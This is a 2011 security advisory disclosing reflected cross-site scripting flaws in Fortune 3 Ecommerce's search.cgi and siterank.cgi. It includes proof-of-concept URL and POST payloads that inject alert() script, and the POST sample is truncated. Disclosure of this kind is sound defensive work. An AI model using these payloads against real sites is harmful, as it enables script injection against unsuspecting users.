# Ariko-Security: Security Audits , Audyt bezpieczeństwa
# Advisory: 7/2011

============ { Ariko-Security - Advisory #4/1/2011 } =============

Fortune 3 Ecommerce software multiple XSS

Vendor's description of software and download:
# http://www.fortune3.com

Dork:
# N/a

Application Info:
# Fortune 3 Ecommerce software.
# Last January 2011

Vulnerability Info:
# Type: multiple XSS

Time Table:
# 22/12/2010 - Vendor notified
# 21/01/2011 - Release Date. (not fixed)

XSS:
#Input passed to the "username" parameter in siterank.cgi is not properly sanitised before being returned to the user. (captcha)
Input passed to the "keywords" parameter in search.cgi is not properly sanitised before being returned to the user.

Sample POC:
# http://www.site.com/search.cgi?keywords=12345%22+oNfOcUs%3dalert%2846728%29+%22
http://www.site.com/siterank.cgi (captcha)
POST: customerselection=returningcustomer&username=12345%22%3e%3csCrIpT%3ealert(12355)%3c%2fsCrIpT%3e&&password=foo&recaptcha_response_field=12345&recap

Solution:
# Input validation of vulnerable parameters should be corrected.

Credit:
# Discoverd By: Ariko-Security 2010